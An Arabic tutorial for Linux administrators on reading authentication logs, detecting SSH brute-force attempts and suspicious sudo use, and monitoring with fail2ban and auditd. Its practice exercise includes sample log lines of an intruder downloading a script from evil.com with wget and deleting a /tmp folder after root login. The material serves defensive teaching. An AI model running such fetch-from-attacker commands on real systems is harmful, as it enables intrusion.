مقدمة: لماذا تُعتبر سجلات الدخول خط الدفاع الأول؟
يبدأ أي إجراء في نظام لينكس بعملية تخويل (Authorisation). سواء كان دخولاً تفاعلياً عبر وحدة التحكم، أو اتصالاً عبر SSH، أو تنفيذ أمر باستخدام sudo، أو الدخول إلى واجهة رسومية، فإن النواة والخدمات تقوم بتسجيل هذه الأحداث في السجلات (Logs).
بالنسبة لمسؤول الأنظمة، فإن القدرة على قراءة سجلات الدخول ليست مجرد مهارة، بل هي أساس النظافة الرقمية. عاجلاً أم آجلاً، يواجه كل خادم ماسحات ضوئية آلية وروبوتات تحاول تخمين كلمات المرور. في هذا المقال، سنشرح أين تجد آثار المخترقين، وكيف تفرق بين الدخول الشرعي والحالات الشاذة، وكيف تُنشئ مراقبة أساسية.
الفصل الأول: تشريح التسجيل. أين نبحث؟
في التوزيعات الحديثة، هناك نهجان رئيسيان لتخزين السجلات:
- الطريقة التقليدية (syslog): ملفات نصية في المجلد
/var/log/. هنا، تكون خدمةauthأوauthprivمسؤولة عن تسجيل الدخول. - سجل systemd (Journal): سجلات ثنائية، يمكن الوصول إليها عبر الأمر
journalctl.
أين نبحث عن السطور المطلوبة؟
- الملف الرئيسي:
/var/log/auth.log(في ديبيان، أوبونتو، Mint). - الملف الرئيسي:
/var/log/secure(في RHEL، CentOS، Fedora، AlmaLinux). - الطريقة الشاملة (systemd):
journalctl -u ssh.serviceأو باستخدامgrepعلى الكلمةauthلفلترة النتائج.
نصيحة احترافية: عند إعداد Rsyslog، أقوم دائمًا بنسخ سجلات الدخول الهامة إلى خادم بعيد (Log Collector). إذا تمكن المخترق من الدخول ومسح السجلات المحلية، يجب أن يكون لديك نسخة احتياطية.
الفصل الثاني: اقرأ السجلات كمحقق. تحليل الأحداث الرئيسية
يتكون أي سجل من طابع زمني، واسم الخادم، والعملية، والرسالة نفسها. نحن نهتم بالعمليات sshd و login و sudo و su و gdm-password وكذلك النواة (kernel).
٢.١. مراقبة SSH (السيناريو الأكثر شيوعاً)
SSH هي البوابة الرئيسية للإدارة عن بُعد، وبالتالي فهي الهدف الأول لمعظم الهجمات.
دخول ناجح: ```bash
عرض محاولات الدخول الناجحة لليوم السابق
grep "Accepted" /var/log/auth.log | grep "sshd"
``
مثال على السجل:Mar 26 14:35:21 web-server sshd[12345]: Accepted password for root from 192.168.1.100 port 54322 ssh2`
التحليل: هنا نرى أن المستخدم root قام بالدخول بنجاح من عنوان IP 192.168.1.100 باستخدام كلمة مرور.
محاولة فاشلة (هجوم تخمين):
bash
grep "Failed password" /var/log/auth.log
مثال على السجل:
Mar 26 14:36:45 web-server sshd[12346]: Failed password for invalid user admin from 45.155.205.144 port 33908 ssh2
علامة خطر: محاولة دخول لمستخدم غير موجود admin من IP أجنبي. هذا غالباً ما يكون ماسحاً ضوئياً.
تحليل "المستخدمين غير الصالحين" (Invalid Users):
إذا رأيت العديد من المحاولات لمستخدمين مثل test و ubuntu و user و mysql، فهذا روبوت يحاول تخمين أسماء المستخدمين الشائعة. وجود سجلات عن invalid user هو دليل قاطع على وجود استطلاع للثغرات.
٢.٢. من يلعب بـ sudo؟ (sudo و su)
رفع الصلاحيات هو حدث خطير. حتى إذا تمكن المخترق من الدخول بمستخدم عادي، فسيحاول عاجلاً أم آجلاً تنفيذ sudo su -.
استخدام sudo بنجاح:
bash
grep "sudo:" /var/log/auth.log
Mar 26 14:40:01 web-server sudo: john : TTY=pts/0 ; PWD=/home/john ; USER=root ; COMMAND=/bin/bash
التحليل: المستخدم john نفذ الأمر /bin/bash بنجاح بصلاحيات الجذر (root). إذا لم يكن من المفترض أن يملك john صلاحيات sudo، فهذا حادث أمني.
فشل sudo (خطأ في كلمة المرور أو عدم صلاحية):
Mar 26 14:41:23 web-server sudo: john : 3 incorrect password attempts ; TTY=pts/0 ; PWD=/home/john ; USER=root ; COMMAND=/bin/bash
التبديل إلى مستخدم آخر (su):
Mar 26 14:45:01 web-server su: (to root) john on /dev/pts/0
su: pam_unix(su:auth): authentication failure; logname=john uid=1000 euid=0 tty=/dev/pts/0 ruser=john rhost= user=root — إذا كان هناك العديد من حالات الفشل failure، فقد يكون المستخدم يحاول تخمين كلمة مرور الجذر.
٢.٣. بدء الجلسات وإنهاؤها
من المهم ليس فقط معرفة من دخل، بل أيضاً متى خرج و ماذا فعل. هذا يساعد في بناء التسلسل الزمني للأحداث.
بدء الجلسة: session opened for user root by (uid=0)
إنهاء الجلسة: session closed for user root
إذا كانت الجلسة مفتوحة ولم تُغلق، فالعملية لا تزال قيد التشغيل. تحقق باستخدام الأمرين who و ps aux.
الفصل الثالث: صائد الحالات الشاذة. اكتشاف الأنماط المشبوهة
مجرد قراءة السجلات أمر ممل. دعنا نتعلم كيفية تحليلها.
٣.١. أهم ١٠ مخترقين (تحليل حسب IP)
هذا الأمر سيظهر عناوين IP التي حاولت الدخول بكلمات مرور خاطئة إلى خادمك بشكل متكرر:
bash
grep "Failed password" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -nr | head -20
الشرح: نأخذ سجلات كلمات المرور الفاشلة، نستخرج عنوان IP (عادة ما يكون قبل الأخير)، ثم نفرزها ونعد التكرارات الفريدة. إذا رأيت IP مع أكثر من ١٠٠٠ محاولة، يمكنك حظره على جدار الحماية فوراً.
٣.٢. جغرافية الهجمات
لنفترض أنك تريد معرفة مصدر الطلبات. قم بتثبيت أداة geoiplookup. يمكنك كتابة سكربت بسيط لمعرفة ما إذا كان المهاجم من جارك في مركز البيانات أم من قرصان في بلد آخر. موقع جغرافي غير معتاد لنشاطك التجاري يستدعي الانتباه.
٣.٣. أوقات الدخول غير المعتادة
شخص يعمل في المكتب من ٩ صباحاً إلى ٦ مساءً. إذا رأيت دخولاً ناجحاً للمستخدم ivanov في الساعة ٣ فجراً، وكان إيفان ليس مسؤول المناوبة، فهذا سبب للتحقق مما إذا كانت مفاتيحه قد سُرقت.
٣.٤. القفزات في UID (المستخدمين)
أحياناً يقوم المخترقون بإنشاء مستخدم خاص بهم. افحص السجلات للبحث عن إنشاء حسابات جديدة:
bash
grep "useradd" /var/log/auth.log
grep "new user" /var/log/auth.log
الفصل الرابع: أتمتة المراقبة. الأدوات وأفضل الممارسات
من الصعب على الإنسان مراقبة السجلات كل ساعة. لهذا توجد برامج خاصة.
٤.١. fail2ban — الحل الكلاسيكي
يقوم Fail2ban بتحليل سجلات الدخول في الوقت الفعلي. بمجرد أن يرى عدداً (N) من المحاولات الفاشلة من نفس الـ IP، فإنه يضيف قاعدة إلى iptables/nftables لحظر المخترق.
مثال لإعداد SSH (/etc/fail2ban/jail.local):
ini
[sshd]
enabled = true
port = ssh
filter = sshd
logpath = /var/log/auth.log
maxretry = 3 ; نحظر بعد ٣ محاولات فاشلة
bantime = 3600 ; لمدة ساعة
findtime = 600 ; خلال آخر ١٠ دقائق
٤.٢. Auditd (المراقبة العميقة)
إذا كنت تشك في أن النظام قد تم اختراقه بالفعل، فقد لا يكون syslog كافياً. هنا يأتي دور auditd.
يمكنه تتبع ليس فقط حقيقة الدخول، بل أيضاً الملفات التي قرأها المستخدم بعد الدخول. قاعدة لمراقبة قراءة ملف /etc/shadow:
bash
auditctl -w /etc/shadow -p wa -k shadow_watch
بعد ذلك، تذهب السجلات إلى /var/log/audit/audit.log. تحليلها أكثر تعقيداً، لكنها تحتوي على تفاصيل أكثر (مثل تاريخ الأمر بدقة متناهية والسياق الكامل).
٤.٣. تنبيهات بسيطة عبر Slack/Telegram
يمكنك إعداد سكربت بسيط يقوم بمراقبة tail -f /var/log/auth.log، وعند ظهور كلمة "Accepted" أو "FAILED" لمستخدمين مهمين، يرسل إشعاراً إلى تطبيق المراسلة. هذا يتيح لك معرفة الأنشطة المشبوهة أسرع من أن يبدأ العميل بالشكوى من بطء الأداء.
الفصل الخامس: تمرين عملي. تحليل سجل حقيقي
تخيل أنك تفتح ملف /var/log/auth.log وترى المشهد التالي:
Mar 27 03:12:01 myhost sshd[2341]: Failed password for invalid user oracle from 10.10.10.55 port 45123 ssh2
Mar 27 03:12:15 myhost sshd[2341]: Failed password for invalid user oracle from 10.10.10.55 port 45123 ssh2
Mar 27 03:12:30 myhost sshd[2341]: Failed password for invalid user root from 10.10.10.55 port 45123 ssh2
Mar 27 03:12:45 myhost sshd[2341]: Failed password for root from 10.10.10.55 port 45123 ssh2
Mar 27 03:13:01 myhost sshd[2341]: Accepted password for root from 10.10.10.55 port 45123 ssh2
Mar 27 03:13:02 myhost sudo: root : TTY=pts/0 ; PWD=/root ; USER=root ; COMMAND=/bin/rm -rf /tmp/.X11-unix
Mar 27 03:13:10 myhost sudo: root : TTY=pts/0 ; PWD=/root ; USER=root ; COMMAND=/usr/bin/wget http://evil.com/script.sh
ماذا حدث هنا؟
1. ٠٣:١٢:٠١ - ٠٣:١٢:٣٠ — هجوم تخمين على المستخدمين oracle و root من IP ١٠.١٠.١٠.٥٥ (ربما خادم داخلي، أو قد يكون IP مزيفاً أو جاراً على الشبكة).
2. ٠٣:١٢:٤٥ — آخر محاولة فاشلة للمستخدم root.
3. ٠٣:١٣:٠١ — دخول ناجح للمستخدم root من نفس الـ IP. لم يعمل fail2ban (قلة المحاولات، أو أنه معطل).
4. ٠٣:١٣:٠٢ — فور الدخول، يقوم root بحذف مجلد في /tmp (ربما لإخفاء آثار أو برنامج ضار).
5. ٠٣:١٣:١٠ — تحميل سكربت من مصدر خارجي.
الاستنتاج: النظام مخترق. تم تخمين كلمة مرور الجذر أو كانت معروفة مسبقاً للمهاجم. يجب فصل الخادم عن الشبكة فوراً والبدء في عملية التحقيق في الحادث (أخذ صورة من الذاكرة، وحفظ السجلات، إلخ).
الخلاصة: خطة عملك
لتخلد إلى النوم بهدوء، اجعل هذه الأمور قاعدة لك:
- المركزية: قم بإرسال جميع سجلات
authإلى خادم منفصل (Graylog, ELK Stack, أو ببساطة syslog-ng). - الحظر: فعّل وضبط
fail2banلخدمة SSH. هذا سيصد ٩٩٪ من الهجمات الآلية. - التحليل اليومي: قم بمراجعة سريعة لأهم ١٠ محاولات دخول فاشلة، وأيضاً عمليات الدخول الناجحة في أوقات غير العمل.
- الاستغناء عن كلمات المرور: استخدم مفاتيح SSH (RSA/Ed25519) قدر الإمكان. سجلات الدخول الناجح باستخدام المفتاح (
Accepted publickey) أنقى بكثير ويصعب تزويرها.
سجلات الدخول هي نظام الإنذار المبكر الخاص بك. لا تتعامل معها على أنها مجرد بيانات تشغل مساحة على القرص، بل انظر إليها كمصدر لا يقدر بثمن للمعلومات حول أمان بنيتك التحتية.